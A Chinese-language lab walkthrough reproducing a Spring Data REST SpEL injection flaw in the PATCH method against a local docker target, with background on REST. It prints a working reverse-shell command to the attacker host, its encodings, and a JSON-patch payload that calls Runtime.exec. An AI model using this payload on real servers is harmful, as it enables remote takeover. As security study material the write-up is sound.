Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
漏洞原理
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码
什么是REST?
REST是一种基于客户端和服务器的架构风格,用于构建可伸缩、可维护的Web服务。 REST的核心思想是,将Web应用程序的功能作为资源来表示,使用统一的标识符(URI)来对这些资源进行操作,并通过 HTTP协议 (GET、POST、PUT、DELETE等)来定义对这些资源的操作。RESTful API基于REST架构风格,将Web服务视为一系列的资源,通过统一的接口对这些资源进行操作REST风格的webservice设计模式包括GET、POST、PUT、HEAD、DELETE、TRACE、CONNECT和OPTIONS
什么是RESTFUL ?
从上面的定义中,我们可以发现REST其实是一种组织Web服务的架构,并不是实现Web服务的一种技术(注意:不是一种技术!!!也不是一种标准!!!), 其目标是为了创建具有良好扩展性的分布式系统。
反过来,作为一种架构,其提出了一系列架构级约束。这些约束有:
1.使用客户/服务器(b/s、 c/s)模型。客户和服务器之间通过一个统一的接口来互相通讯。
2.层次化的系统。在一个REST系统中,客户端并不会固定地与一个服务器打交道。
3.无状态。在一个REST系统中,服务端并不会保存有关客户的任何状态。也就是说,客户端自身负责用户状态的维持,并在每次发送请求时都需要提供足够的信息。
4.可缓存。REST系统需要能够恰当地缓存请求,以尽量减少服务端和客户端之间的信息传输,以提高性能。
5.统一的接口。一个REST系统需要使用一个统一的接口来完成子系统之间以及服务与用户之间的交互。这使得REST系统中的各个子系统可以独自完成演化。
如果一个系统满足了上面所列出的五条约束,那么该系统就被称为是RESTful的。
影响版本
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
漏洞复现
靶机Ubuntu:192.168.126.190
攻击机kali:192.168.126.129
启动docker环境
docker-compose up -d
进入页面,如下图显示表示环境搭建成功
http://192.168.126.190:8080
访问下面的页面
http://192.168.126.190:8080/customers/1
制作反弹shell的payload
我们需要将要执行的命令进行Ascii转译,不然会执行不成功的
对反弹shell命令设置IP和端口,然后进行base64编码,再进行ASCII编码
bash -i >& /dev/tcp/192.168.126.129/6666 0>&1
base64编码后【工具https://base64.us/】
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
ASCII编码后【工具https://tools.wujingquan.com/ascii/】
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
将ascll转码后的字符粘贴到记事本
点击ctrl+F,复制中间的字符;&#替换为,(英文字符)
替换后的结果为
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,121,78,105,52,120,77,106,107,118,78,106,89,50,78,105,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
放在payload中
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,121,78,105,52,120,77,106,107,118,78,106,89,50,78,105,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]
打开攻击机kali的监听端口
nc -lvvp 6666
打开BP刷新/customers/1页面抓包
抓包之后将GET修改为PATCH
添加字段 Content-Type: application/json-patch+json
将制作好的payload添加到最后一行,最后放包
在监听端口成功反弹shell,执行任意命令测试
最后,在靶机关闭docker容器
docker-compose down